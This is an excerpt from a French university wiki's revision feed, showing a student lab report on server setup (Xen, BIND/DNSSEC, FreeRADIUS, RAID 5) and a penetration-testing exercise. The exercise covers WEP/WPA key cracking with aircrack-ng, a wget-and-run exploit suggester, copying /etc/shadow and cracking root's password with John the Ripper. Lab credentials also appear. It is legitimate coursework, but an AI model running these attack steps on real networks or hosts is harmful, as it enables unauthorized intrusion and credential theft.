 $ mv Kwww.belle-rose.site.+005+35638.key www.belle-rose.site-zsk.key&lt;br /&gt;
 $ mv Kwww.belle-rose.site.+005+35638.private www.belle-rose.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
6. incluez les clefs publiques dans votre fichier de zone, incrémentez le numéro de version de la zone ;&lt;br /&gt;
&lt;br /&gt;
$include /etc/bind/&amp;lt;nom_de_zone&amp;gt;.dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
$include /etc/bind/&amp;lt;nom_de_zone&amp;gt;.dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
7. signez les enregistrements de la zone ;&lt;br /&gt;
&lt;br /&gt;
dnssec-signzone -o &amp;lt;nom_de_zone&amp;gt; -k &amp;lt;nom_de_zone&amp;gt;-ksk ../&amp;lt;nom_de_zone&amp;gt; &amp;lt;nom_de_zone&amp;gt;-zsk&lt;br /&gt;
  &lt;br /&gt;
8. modifiez le fichier named.conf.local pour utiliser la zone signée de suffixe .signed ;&lt;br /&gt;
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier &amp;lt;nom_de_zone&amp;gt;-ksk.key) à votre registrar (par exemple gandi.net, regardez à &amp;quot;Manage DNSSEC&amp;quot; dans la section &amp;quot;DNS servers&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. &amp;gt; https://github.com/mzet-/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
En suivant la documentation :&lt;br /&gt;
&lt;br /&gt;
 $ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh&lt;br /&gt;
 $ chmod +x les.sh &amp;amp;&amp;amp; ./les.sh&lt;br /&gt;
&lt;br /&gt;
On obtient les failles suivantes (audit réalisé sur notre VM) :&lt;br /&gt;
&lt;br /&gt;
 [+] [CVE-2021-27365] linux-iscsi&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2019-13272] PTRACE_TRACEME&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
Sur honey.plil.info : &lt;br /&gt;
&lt;br /&gt;
1. injection SQL&lt;br /&gt;
&lt;br /&gt;
2. connexion en tant qu'admin&lt;br /&gt;
&lt;br /&gt;
3. telechargement du fichier &amp;quot;config-db.php&amp;quot; (On remarque que il existe une BDD phpmyadmin) et &amp;quot;database.php&amp;quot; (ce fichier semble lui ne pas nous apporter d'informations)&lt;br /&gt;
&lt;br /&gt;
4. honey.plil.info/phpmyadmin -&amp;gt; connexion avec les logins trouvés dans le fichier &amp;quot;config-db.php&amp;quot; (phpmyadmin et gencovid19). On trouve alors une table &amp;quot;pma_users&amp;quot; indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).&lt;br /&gt;
&lt;br /&gt;
5. en essayant le mdp &amp;quot;gencovid19&amp;quot; avec ces identifiants sur phpmyadmin : on peut se connecter en tant que &amp;quot;root&amp;quot; sur la BDD et on trouve le mdp de rex dans la bdd &amp;quot;test&amp;quot; et table &amp;quot;users&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
6. connexion en ssh sur rex@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
7. comme indication : &amp;quot;le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets&amp;quot;. Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo =&amp;gt; bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :&lt;br /&gt;
&lt;br /&gt;
 $ crunch 4 4 abcdefghijklmnopqrstuvwxyz &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Et on double la taille des mots :&lt;br /&gt;
&lt;br /&gt;
 $ sed -i 's/\(.*\)/\1\1/' dico.txt&lt;br /&gt;
&lt;br /&gt;
On copie ensuite les fichiers &amp;quot;/etc/passwd&amp;quot; et &amp;quot;/etc/shadow&amp;quot; de rex@honey.plil.info sur notre zabeth. &lt;br /&gt;
&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/passwd .&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/shadow .&lt;br /&gt;
&lt;br /&gt;
On utilise alors l'utilitaire &amp;quot;shadow&amp;quot; pour obtenir un fichier contenant le mot de passe haché de root :&lt;br /&gt;
&lt;br /&gt;
 $ unshadow passwd shadow | head -1 &amp;gt; honey&lt;br /&gt;
&lt;br /&gt;
Puis on utilise &amp;quot;John the Ripper&amp;quot; pour cracker le mot de passe :&lt;br /&gt;
&lt;br /&gt;
 $ john -w:dico.txt honey&lt;br /&gt;
&lt;br /&gt;
Après quelques minutes, on peut afficher le mot de passe trouvé :&lt;br /&gt;
&lt;br /&gt;
 $ john --show honey&lt;br /&gt;
 root:fortfort:0:0:root:/root:/bin/bash&lt;br /&gt;
 1 password hash cracked, 0 left&lt;br /&gt;
&lt;br /&gt;
On trouve le mot de passe de root@honey.plil.info qui est &amp;quot;fortfort&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Sécurisation des données (RAID 5) =&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
= Chiffrement des données =&lt;br /&gt;
&lt;br /&gt;
a&lt;/div&gt;</summary>
		<author><name>Bjacquot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57730</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57730"/>
				<updated>2022-01-10T16:27:39Z</updated>
		
		<summary type="html">&lt;p&gt;Bjacquot : /* Services Internet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSh ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
On génère une clé ssh avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
https://www.belle-rose.site/ IZOK&lt;br /&gt;
&lt;br /&gt;
== DNSSEC ==&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. &amp;gt; https://github.com/mzet-/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
En suivant la documentation :&lt;br /&gt;
&lt;br /&gt;
 $ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh&lt;br /&gt;
 $ chmod +x les.sh &amp;amp;&amp;amp; ./les.sh&lt;br /&gt;
&lt;br /&gt;
On obtient les failles suivantes (audit réalisé sur notre VM) :&lt;br /&gt;
&lt;br /&gt;
 [+] [CVE-2021-27365] linux-iscsi&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2019-13272] PTRACE_TRACEME&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
